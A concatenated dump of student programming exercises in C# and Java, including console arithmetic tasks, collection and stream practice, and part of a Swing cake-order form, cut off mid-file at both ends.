ioe.getMessage();
}
}
}
<file_sep>using System;
class MinMaxSumAverageOfNNumbers
{
static void Main()
{
//int nLines = int.Parse(Console.ReadLine());
//int max = 1;
//int min = 1;
//int sum = 0;
//double avarage = 1;
//for (int i = 0; i < nLines; i++)
//{
// int number = int.Parse(Console.ReadLine());
// if (number > max)
// {
// max = number;
// }
// if (number < min)
// {
// min = number;
// }
// sum += number;
//}
//avarage = (double)sum / nLines;
//Console.WriteLine("min = {0}", min);
//Console.WriteLine("max = {0}", max);
//Console.WriteLine("sum = {0}", sum);
//Console.WriteLine("avg = {0:f2}", avarage);
//nz kolko chisla shte ni vuvedat!!!
int max = 1;
int min = 1;
int sum = 0;
double avarage = 1;
int counter = 0;
string loop = Console.ReadLine();
while (loop != string.Empty)
{
int number = int.Parse(loop);
if (number > max)
{
max = number;
}
if (number < min)
{
min = number;
}
sum += number;
counter++;
loop = Console.ReadLine();
}
avarage = (double)sum / counter;
Console.WriteLine("min = {0}", min);
Console.WriteLine("max = {0}", max);
Console.WriteLine("sum = {0}", sum);
Console.WriteLine("avg = {0:f2}", avarage);
}
}
<file_sep>package pr06_CustomEnumAnnotations.enums;
import pr06_CustomEnumAnnotations.anotations.CustomAnnotation;
@CustomAnnotation(category = "Suit", description = "Provides suit constants for a Card class")
public enum CardSuit {
CLUBS(0),
DIAMONDS(13),
HEARTS(26),
SPADES(39);
private int power;
private CardSuit(int power) {
this.setPower(power);
}
public int getPower() {
return power;
}
private void setPower(int power) {
this.power = power;
}
}
<file_sep>using System;
class NumbersFrom1ToN
{
static void Main()
{
int n = int.Parse(Console.ReadLine());
for (int i = 1; i <= n; i++)
{
Console.Write("{0} ", i);
}
//int counter = 1;
//while (counter <= n)
//{
// Console.Write("{0} ", counter);
// counter++;
//}
//do
//{
// Console.Write("{0} ", counter);
// counter++;
//} while (counter <= n);
}
}
<file_sep>package pr05_BorderControl;
public interface Society {
String getId();
}
<file_sep>package pr07_FoodShortage;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
Map<String, PersonImpl> people = new HashMap<>();
int lineCount = Integer.parseInt(reader.readLine());
for (int i = 0; i < lineCount; i++) {
String[] input = reader.readLine().split("\\s+");
if (input.length == 4) {
Citizen citizen = new Citizen(
input[0],
Integer.parseInt(input[1]),
input[2], input[3]);
people.put(input[0], citizen);
} else {
Rebel rebel = new Rebel(
input[0],
Integer.parseInt(input[1]),
input[2]);
people.put(input[0], rebel);
}
}
while (true) {
String name = reader.readLine();
if ("End".equals(name)) {
break;
}
people.values().stream()
.forEach(person -> {
if (person.getName().equals(name)) {
person.buyFood();
}
});
}
System.out.println(people.values().stream()
.mapToInt(PersonImpl::getFood)
.sum());
}
}
<file_sep>package pr06_StrategyPattern;
import _08_iteratorsAndComparators._06_strategyPattern.comparators.PersonComparatorByAge;
import _08_iteratorsAndComparators._06_strategyPattern.comparators.PersonComparatorByName;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.*;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
TreeSet<Person> firstCollection = new TreeSet<>(new PersonComparatorByName());
TreeSet<Person> secondCollection = new TreeSet<>(new PersonComparatorByAge());
int lineCount = Integer.parseInt(reader.readLine());
for (int i = 0; i < lineCount; i++) {
String[] input = reader.readLine().split("\\s+");
Person person = new Person(input[0], Integer.parseInt(input[1]));
firstCollection.add(person);
secondCollection.add(person);
}
firstCollection.stream()
.forEach(person -> System.out.printf("%s %d%n", person.getName(), person.getAge()));
secondCollection.stream()
.forEach(person -> System.out.printf("%s %d%n", person.getName(), person.getAge()));
}
}
<file_sep>using System;
class BigAndOdd
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
bool result = number > 20 && number % 2 != 0;
Console.WriteLine(result);
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}<file_sep>using System;
class NumeralSystemConversions
{
static void Main()
{
//i used windows calculator:
//1234(decimal) - 10011010010(binary) - 4DF(hexadecimal)
//101(decimal) - 1100101(binary) - 65(hexadecimal)
//2748(decimal) - 101010111101(binary) - ABC(hexadecimal)
}
}
<file_sep>package pr05_AnimalClinic;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
AnimalClinic clinic = new AnimalClinic();
while (true) {
String[] input = reader.readLine().split("\\s+");
if ("End".equals(input[0])) {
break;
}
String animalName = input[0];
String animalBreed = input[1];
String command = input[2];
Animal animal = new Animal(animalName, animalBreed, command);
clinic.addPatient(animal);
}
for (Animal animal : clinic.getPatients()) {
System.out.println(animal);
}
System.out.printf("Total healed animals: %d%n", AnimalClinic.getHealedAnimalsCount());
System.out.printf("Total rehabilitated animals: %d%n", AnimalClinic.getRehabilitatedAnimalsCount());
String command = reader.readLine();
clinic.getPatients().stream()
.filter(a1 -> a1.getCommand().equals(command))
.forEach(animal -> System.out.printf("%s %s%n",animal.getName(), animal.getBreed()));
}
}
<file_sep>import java.util.Arrays;
import java.util.Scanner;
public class Pr19_Crossfire {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int rows = sc.nextInt();
int cols = sc.nextInt();
sc.nextLine();
int[][] matrix = new int[rows][cols];
int counter = 1;
for (int row = 0; row < rows; row++) {
for (int col = 0; col < cols; col++) {
matrix[row][col] = counter++;
}
}
while (true) {
String line = sc.nextLine();
if ("Nuke it from orbit".equals(line)) {
break;
}
int[] input = Arrays.stream(line.split(" "))
.mapToInt(Integer::parseInt)
.toArray();
int row = input[0];
int col = input[1];
int radius = input[2];
int startRowHorizontal = row;
int startColHorizontal = col - radius;
int startRowVertical = row - radius;
int startColVertical = col;
for (int i = 0; i < 2 * radius + 1; i++) {
boolean isInHorizontal = startRowHorizontal >= 0 && startRowHorizontal < matrix.length &&
startColHorizontal >= 0 && startColHorizontal < matrix[startRowHorizontal].length;
boolean isInVertical = startRowVertical >= 0 && startRowVertical < matrix.length &&
startColVertical >= 0 && startColVertical < matrix[startRowVertical].length;
if (isInHorizontal) {
matrix[startRowHorizontal][startColHorizontal] = 0;
}
if (isInVertical) {
matrix[startRowVertical][startColVertical] = 0;
}
startColHorizontal++;
startRowVertical++;
}
int[] colsNewMatrix = new int[matrix.length];
for (int rowI = 0; rowI < matrix.length; rowI++) {
for (int colI = 0; colI < matrix[rowI].length; colI++) {
if (matrix[rowI][colI] != 0) {
colsNewMatrix[rowI]++;
}
}
}
int rowsNewMatrix = 0;
for (int i = 0; i < colsNewMatrix.length; i++) {
if (colsNewMatrix[i] != 0) {
rowsNewMatrix++;
}
}
int[][] newMatrix = new int[rowsNewMatrix][];
int zeroRowIndex = 0;
for (int i = 0; i < newMatrix.length; i++) {
if (colsNewMatrix[zeroRowIndex] == 0) {
zeroRowIndex++;
}
newMatrix[i] = new int[colsNewMatrix[zeroRowIndex]];
zeroRowIndex++;
}
int newMatrixRow = 0;
for (int rowI = 0; rowI < matrix.length; rowI++) {
boolean isEmptyRow = true;
for (int colI = 0; colI < matrix[rowI].length; colI++) {
if (matrix[rowI][colI] != 0) {
isEmptyRow = false;
}
}
if (isEmptyRow) {
continue;
}
int newMatrixCol = 0;
for (int colI = 0; colI < matrix[rowI].length; colI++) {
if (matrix[rowI][colI] != 0) {
newMatrix[newMatrixRow][newMatrixCol] = matrix[rowI][colI];
newMatrixCol++;
}
}
newMatrixRow++;
}
matrix = newMatrix;
}
for (int row = 0; row < matrix.length; row++) {
for (int col = 0; col < matrix[row].length; col++) {
System.out.print(matrix[row][col] + " ");
}
System.out.println();
}
}
}
<file_sep>using System;
class FourDigitNumber
{
static void Main()
{
try
{
Console.Write("Enter 4-digit integer number: ");
int number = int.Parse(Console.ReadLine());
int position0 = (number / 1000);
int position1 = ((number / 100) % 10);
int position2 = ((number / 10) % 10);
int position3 = (number % 10);
int sum = position0 + position1 + position2 + position3;
Console.WriteLine("Sum of digits: {0}", sum);
Console.WriteLine("Reversed digit: {0}{1}{2}{3}", position3, position2, position1, position0);
Console.WriteLine("Last digit in front: {0}{1}{2}{3}", position3, position0, position1, position2);
Console.WriteLine("Second and third digits exchanged: {0}{1}{2}{3}", position0, position3, position2, position1);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>import java.util.HashMap;
import java.util.Scanner;
public class Pr13_MagicExchangeableWords {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String smallerString = sc.next();
String biggerString = sc.next();
if (smallerString.length() > biggerString.length()) {
String forChange = smallerString;
smallerString = biggerString;
biggerString = forChange;
}
boolean areExchengeable = true;
HashMap<Character, Character> exchangeables = new HashMap<>();
for (int i = 0; i < smallerString.length(); i++) {
char keyChar = biggerString.charAt(i);
char valueChar = smallerString.charAt(i);
if (!exchangeables.containsKey(keyChar) && !exchangeables.containsValue(valueChar)) {
exchangeables.put(keyChar, valueChar);
}
if (!exchangeables.containsKey(keyChar) && exchangeables.containsValue(valueChar)) {
areExchengeable = false;
}
if (exchangeables.containsKey(keyChar) && !exchangeables.containsValue(valueChar)) {
areExchengeable = false;
}
}
for (int i = 0; i < biggerString.length(); i++) {
char keyChar = biggerString.charAt(i);
if (!exchangeables.containsKey(keyChar)) {
areExchengeable = false;
}
}
System.out.println(areExchengeable);
}
}
<file_sep>package pr04_Тelephony.interfaces;
public interface Browsavable {
void brows(String site);
}
<file_sep>using System;
class FibonacciNumbers
{
static void Main()
{
Console.Write("Enter members of the Fibonacci sequence you want to see: ");
int members = int.Parse(Console.ReadLine());
int num1 = 0;
int num2 = 1;
for (int i = 0; i < members; i++)
{
Console.Write("{0} ", num1);
num1 += num2;
num2 = num1 - num2;
}
}
}
<file_sep>import java.io.*;
public class _03_CountCharacterTypes {
public static void main(String[] args) {
File file = new File("res/words.txt");
File newFile = new File("res/count-chars.txt");
int[] counters = new int[3];
try (BufferedReader bufferedReader = new BufferedReader(new FileReader(file))) {
// Taking every single line from the input text
String line;
while ((line = bufferedReader.readLine()) != null) {
// Iteration about the string line by every character
for (int i = 0; i < line.length(); i++) {
char character = line.charAt(i);
// Counting the characters
if (character == 'a' || character == 'e' || character == 'i' || character == 'o' || character == 'u') {
counters[0]++;
} else if (character == '!' || character == ',' || character == '.' || character == '?') {
counters[1]++;
} else if (character == ' ') {
continue;
} else {
counters[2]++;
}
}
}
// Making the new file
FileWriter fileWriter = new FileWriter(newFile, true);
// Printing in that file
PrintWriter printWriter = new PrintWriter(fileWriter, true);
printWriter.printf("Vowels: %d%n", counters[0]);
printWriter.printf("Consonants: %d%n", counters[2]);
printWriter.printf("Punctuation: %d", counters[1]);
} catch (FileNotFoundException e) {
e.getMessage();
} catch (IOException e) {
e.getMessage();
}
}
}
<file_sep>using System;
class TorrentPirate
{
static void Main()
{
int megabytes = int.Parse(Console.ReadLine());
int moneyWouldCost = int.Parse(Console.ReadLine());
int moneyPerHour = int.Parse(Console.ReadLine());
double downloadTime = (double)megabytes / 2 / 60 / 60;
double priceForDownload = downloadTime * moneyPerHour;
double numberOfMovies = (double)megabytes / 1500;
double cinemaPrice = numberOfMovies * moneyWouldCost;
if (cinemaPrice < priceForDownload)
{
Console.WriteLine("cinema -> {0:f2}lv", cinemaPrice);
}
else
{
Console.WriteLine("mall -> {0:f2}lv", priceForDownload);
}
}
}
<file_sep>using System;
class SumOfNNumbers
{
static void Main()
{
Console.WriteLine("Enter how many you want numbers: ");
string line = null;
double number = 0;
double sum = 0;
while ((line = Console.ReadLine()) != null)
{
if (double.TryParse(line, out number))
{
sum += number;
}
else
{
Console.WriteLine("The sum of the numbers is: {0}", sum);
break;
}
}
}
}
<file_sep>package pr07_FoodShortage.interfaces;
public interface Society {
String getId();
}
<file_sep>package pr07_DeckOfCards;
import pr07_DeckOfCards.enums.CardRank;
import pr07_DeckOfCards.enums.CardSuit;
public class Main {
public static void main(String[] args) {
for (CardSuit cardSuit : CardSuit.values()) {
for (CardRank cardRank : CardRank.values()) {
System.out.printf("%s of %s%n", cardRank.name(), cardSuit.name());
}
}
}
}
<file_sep>using System;
class BiggestOfThree
{
static void Main()
{
int a = int.Parse(Console.ReadLine());
int b = int.Parse(Console.ReadLine());
int c = int.Parse(Console.ReadLine());
//int bigestNumber = 0;
//if (firstNumber > secondNumber && firstNumber > thirdNumber)
//{
// bigestNumber = firstNumber;
//}
//else if (secondNumber > firstNumber && secondNumber > thirdNumber)
//{
// bigestNumber = secondNumber;
//}
//else if (thirdNumber > firstNumber && thirdNumber > secondNumber)
//{
// bigestNumber = thirdNumber;
//}
//Console.WriteLine("The bigest number is: {0}", bigestNumber);
//if (a > b)
//{
// if (b > c)
// {
// Console.WriteLine("The bigest number is: {0}", a);
// }
// else
// {
// if (a > c)
// {
// Console.WriteLine("The bigest number is: {0}", a);
// }
// else
// {
// Console.WriteLine("The bigest number is: {0}", c);
// }
// }
//}
//else
//{
// if (a > c)
// {
// Console.WriteLine("The bigest number is: {0}", b);
// }
// else
// {
// if (b > c)
// {
// Console.WriteLine("The bigest number is: {0}", b);
// }
// else
// {
// Console.WriteLine("The bigest number is: {0}", c);
// }
// }
//}
if (a > b)
{
if (a > c)
{
Console.WriteLine("The bigest number is: {0}", a);
}
else
{
Console.WriteLine("The bigest number is: {0}", c);
}
}
else
{
if (b > c)
{
Console.WriteLine("The bigest number is: {0}", b);
}
else
{
Console.WriteLine("The bigest number is: {0}", c);
}
}
}
}
<file_sep>import java.util.Scanner;
import java.util.function.Predicate;
public class Pr07_PredicateForNames {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int biggestLenght = sc.nextInt();
sc.nextLine();
String[] names = sc.nextLine().split("\\s+");
Predicate<String> validName = name -> name.length() <= biggestLenght;
printSmallerNames(names, validName);
}
public static void printSmallerNames(String[] names, Predicate<String> validation) {
for (int i = 0; i < names.length; i++) {
if (validation.test(names[i])) {
System.out.println(names[i]);
}
}
}
}
<file_sep>using System;
class Calculate
{
static void Main()
{
int repeatability = int.Parse(Console.ReadLine());
double number = double.Parse(Console.ReadLine());
int factorial = 1;
double pow = 0;
double sum = 0;
for (int i = 1; i <= repeatability; i++)
{
factorial *= i;
pow = Math.Pow(number, i);
sum += factorial / pow;
}
Console.WriteLine("{0:f5}", sum + 1);
}
}
<file_sep>using System;
using System.Numerics;
class SomeFactorials
{
static void Main()
{
BigInteger value1 = 1;
BigInteger value2 = 1;
BigInteger value3 = 1;
for (int i = 2; i <= 100; i++)
{
value1 *= i;
}
Console.WriteLine("100! = " + value1);
for (int i = 2; i <= 171; i++)
{
value2 *= i;
}
Console.WriteLine("171! = " + value2);
for (int i = 2; i <= 250; i++)
{
value3 *= i;
}
Console.WriteLine("250! = " + value3);
}
}
<file_sep>import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
public class Pr10_GroupByGroup {
public static void main(String[] args) throws IOException {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
// name group
Map<String, Integer> studentsGroup = new LinkedHashMap<>();
while (true) {
String line = reader.readLine();
if ("END".equals(line)) {
break;
}
String[] input = line.split("\\s+");
String name = input[0] +" "+ input[1];
int group = Integer.parseInt(input[2]);
studentsGroup.put(name, group);
}
Map<Integer, List<Map.Entry<String, Integer>>> grouped = studentsGroup.entrySet().stream()
.collect(Collectors.groupingBy(Map.Entry::getValue));
for (Integer group : grouped.keySet()) {
System.out.print(group + " - ");
String output = "";
for (Map.Entry<String, Integer> entry : grouped.get(group)) {
output += entry.getKey() + ", ";
}
output = output.substring(0, output.length() - 2);
System.out.println(output);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Globalization;
using System.Threading;
namespace DifferenceBetweenDates
{
class DifferenceBetweenDates
{
static double DaysBetweenDates(DateTime dateNow, DateTime dateBefore)
{
TimeSpan daysWithHHMMSS = dateNow - dateBefore;
double daysOnly = daysWithHHMMSS.TotalDays;
return daysOnly;
//return daysOnly.ToString("%d");
}
static void Main()
{
//Console.OutputEncoding = Encoding.UTF8;
//CultureInfo enUS = new CultureInfo("en-US");
//Thread.CurrentThread.CurrentCulture = CultureInfo.InvariantCulture;
DateTime before = DateTime.ParseExact(Console.ReadLine(), "d.MM.yyyy", null);
DateTime now = DateTime.ParseExact(Console.ReadLine(), "d.MM.yyyy", null);
double days = DaysBetweenDates(now, before);
Console.WriteLine(days);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace PerimeterAreaOfPolygon
{
class Point
{
public int X { get; set; }
public int Y { get; set; }
}
class PerimeterAreaOfPolygon
{
static void Main()
{
int iteracion = int.Parse(Console.ReadLine());
List<Point> pointList = new List<Point>();
//Making a list of points
for (int i = 0; i < iteracion; i++)
{
//Taking X and Y
string[] strArr = Console.ReadLine().Split(' ');
int x = int.Parse(strArr[0]);
int y = int.Parse(strArr[1]);
//Making Point
Point point = new Point() { X = x, Y = y };
//point.X = x;
//point.Y = y;
//Puting the point in to a list of points
pointList.Add(point);
}
//Chek the last point is equal to the first
bool areTheSame = pointList[0].X == pointList[pointList.Count - 1].X && pointList[0].Y == pointList[pointList.Count - 1].Y;
if (!areTheSame)
{
pointList.Add(pointList[0]);
}
double perimeter = CalcLineLength(pointList);
Console.WriteLine("perimeter = {0:f2}", perimeter);
double area = PolygonArea(pointList);
Console.WriteLine("area = {0:0.##}", area);
}
static double PolygonArea(List<Point> polygon)
{
double area = 0;
for (int i = 0; i < polygon.Count; i++)
{
//Pri posledna iteraciq umnojavam po 0, ne izlizam ot duljinata na lista
int nextPoin = (i + 1) % polygon.Count;
area += polygon[i].X * polygon[nextPoin].Y;
area -= polygon[i].Y * polygon[nextPoin].X;
}
area /= 2;
//ako dannite sa obratno na chas strelka e minus
return (area < 0 ? -area : area);
}
//PolygonPerimeter
static double CalcLineLength(List<Point> line)
{
double length = 0;
for (int i = 0; i < line.Count - 1; i++)
{
length += CalcDictance(line[i].X, line[i].Y, line[i + 1].X, line[i + 1].Y);
}
return length;
}
//Distance bitwen two points
static double CalcDictance(int x1, int y1, int x2, int y2)
{
int dx = x2 - x1;
int dy = y2 - y1;
double distance = Math.Sqrt(dx * dx + dy * dy);
return distance;
}
}
}
| f81ad73366cd4fede5c43851ad91a457f07c5f4f | [
"C#",
"Java"
] | 188 | Java | aangelovangelov/Homeworks | 58dfbebdbf87972f0205c61e172cb3ef00e372fd | ee4afb9067249c5720a621cb2700dde93e677821 |
refs/heads/master | <file_sep># CsvReader.
### 1) A Csv Reader SPA application is implmented by react.
### 2) The UI allows user to upload a csv file (fixed format as attached CSV).
### 3) CSv parsing and validation will be done on browser side.
### 4) It will show a preview table with CSV parsed data.
### 5) Onces user click on save button a alert popup will show the JSON of the uploaded Csv file.
<file_sep>export const SCORE_SEPERATER = "|";
export const getFileContent = (file: any) => {
return new Promise((resolve, reject) => {
const filerReader = new FileReader();
filerReader.readAsText(file);
filerReader.onload = () => resolve(filerReader.result);
filerReader.onerror = e => reject(e);
});
};
export const splitString = (str: string) => str.trim().split(/\n/);
export const stringToJson = (str: string) => {
const rows = splitString(str);
return rows.map(r => {
const seriesData = r.split(",");
const series = seriesData[0];
const removeHeaders = seriesData.slice(1);
const getData = removeHeaders.map(x => {
const [year, score] = x.split(SCORE_SEPERATER);
return { year, score };
});
return { field: series, data: getData };
});
};
<file_sep>//ThirdParty Css
import "bootstrap/dist/css/bootstrap.min.css";
//Main Module
import "./bootstrap";
| 079bd2c5d5dc83e2f822220c574f4343977d5c42 | [
"Markdown",
"TypeScript"
] | 3 | Markdown | shaikDariya/CsvReader | 6b550a219f2753d894d80af64de5136b891a9e2e | 9d6b6770edcf474362eb4712212b1797076941b2 |
refs/heads/master | <file_sep>public class Practica1 {
public static void main(String[] args) {
// tableAltas t = new tableAltas();
//PracticaOct t = new PracticaOct();
Pedidos t = new Pedidos();
t.setVisible(true);
}
}
<file_sep>
import java.io.File;
import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Types;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
public class Pedidos extends javax.swing.JFrame {
private int i;
private String url;
/**
* Creates new form Pedidos
*/
public Pedidos() {
initComponents();
groupPastel.add(buttonEnvinado);
groupPastel.add(buttonAmericano);
groupPastel.add(button3L);
for(i=9 ; i<=21 ; i++)
cbxKilos.addItem(i+"");
url = "";
}
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
groupPastel = new javax.swing.ButtonGroup();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jPanel1 = new javax.swing.JPanel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
txtFechaPedido = new javax.swing.JTextField();
panelNumero = new javax.swing.JPanel();
labelN = new javax.swing.JLabel();
jPanel2 = new javax.swing.JPanel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
cbxSabor = new javax.swing.JComboBox<>();
jLabel8 = new javax.swing.JLabel();
jLabel9 = new javax.swing.JLabel();
jLabel10 = new javax.swing.JLabel();
txtFelicidades = new javax.swing.JTextField();
jLabel11 = new javax.swing.JLabel();
txtFigura = new javax.swing.JTextField();
jLabel12 = new javax.swing.JLabel();
btnGenerar = new javax.swing.JButton();
cbxColorDec = new javax.swing.JComboBox<>();
cbxRelleno = new javax.swing.JComboBox<>();
buttonEnvinado = new javax.swing.JRadioButton();
button3L = new javax.swing.JRadioButton();
buttonAmericano = new javax.swing.JRadioButton();
cbxKilos = new javax.swing.JComboBox<>();
jLabel18 = new javax.swing.JLabel();
txtImporteBase = new javax.swing.JTextField();
jLabel13 = new javax.swing.JLabel();
txtTotal = new javax.swing.JTextField();
jLabel14 = new javax.swing.JLabel();
txtACuenta = new javax.swing.JTextField();
jLabel15 = new javax.swing.JLabel();
txtResta = new javax.swing.JTextField();
calendarEntrega = new com.toedter.calendar.JDateChooser();
btnBuscar = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setFont(new java.awt.Font("Wide Latin", 2, 11)); // NOI18N
jLabel1.setForeground(new java.awt.Color(255, 0, 0));
jLabel1.setText("<NAME>!!!");
jLabel1.setVerticalAlignment(javax.swing.SwingConstants.BOTTOM);
jLabel2.setFont(new java.awt.Font("Vivaldi", 0, 24)); // NOI18N
jLabel2.setText("Nota de Pedidos.");
jPanel1.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED));
jLabel3.setText("No:");
jLabel4.setText("Fecha:");
panelNumero.setBorder(new javax.swing.border.SoftBevelBorder(javax.swing.border.BevelBorder.RAISED));
javax.swing.GroupLayout panelNumeroLayout = new javax.swing.GroupLayout(panelNumero);
panelNumero.setLayout(panelNumeroLayout);
panelNumeroLayout.setHorizontalGroup(
panelNumeroLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(labelN, javax.swing.GroupLayout.DEFAULT_SIZE, 28, Short.MAX_VALUE)
);
panelNumeroLayout.setVerticalGroup(
panelNumeroLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(labelN, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(29, 29, 29)
.addComponent(jLabel3)
.addGap(18, 18, 18)
.addComponent(panelNumero, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(txtFechaPedido, javax.swing.GroupLayout.PREFERRED_SIZE, 104, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(panelNumero, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel3)
.addComponent(jLabel4)
.addComponent(txtFechaPedido, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addContainerGap(23, Short.MAX_VALUE))
);
jPanel2.setBorder(new javax.swing.border.SoftBevelBorder(javax.swing.border.BevelBorder.RAISED));
jLabel5.setText("Pastel : ");
jLabel6.setText("Kilos:");
jLabel7.setText("Sabor:");
cbxSabor.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Vainilla", "Chocolate" }));
jLabel8.setText("Relleno:");
jLabel9.setText("Color:");
jLabel10.setText("Felicidades:");
jLabel11.setText("Figura:");
jLabel12.setText("Fecha de Entrega:");
btnGenerar.setText("Generar");
btnGenerar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnGenerarActionPerformed(evt);
}
});
cbxColorDec.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Morado", "Café", "Azul", "Rosa", "Amarillo", "Blanco" }));
cbxRelleno.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Chocolate", "Fresa", "Flan", "Vainilla", "Frutas" }));
buttonEnvinado.setText("Envinado");
button3L.setText("3 Leches");
buttonAmericano.setText("Pan Americano");
jLabel18.setText("Importe Base:");
jLabel13.setText("Total:");
jLabel14.setText("A cuenta: ");
jLabel15.setText("Resta");
btnBuscar.setText("Buscar IMG");
btnBuscar.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnBuscarActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel5)
.addGap(29, 29, 29)
.addComponent(buttonEnvinado))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel6)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(cbxKilos, javax.swing.GroupLayout.PREFERRED_SIZE, 80, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel2Layout.createSequentialGroup()
.addComponent(jLabel9)
.addGap(18, 18, 18)
.addComponent(cbxColorDec, javax.swing.GroupLayout.PREFERRED_SIZE, 80, javax.swing.GroupLayout.PREFERRED_SIZE))))
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 180, Short.MAX_VALUE)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel7)
.addComponent(jLabel8))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(cbxRelleno, 0, 80, Short.MAX_VALUE)
.addComponent(cbxSabor, 0, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addGroup(jPanel2Layout.createSequentialGroup()
.addGap(60, 60, 60)
.addComponent(button3L)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(buttonAmericano)))
.addGap(34, 34, 34))
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
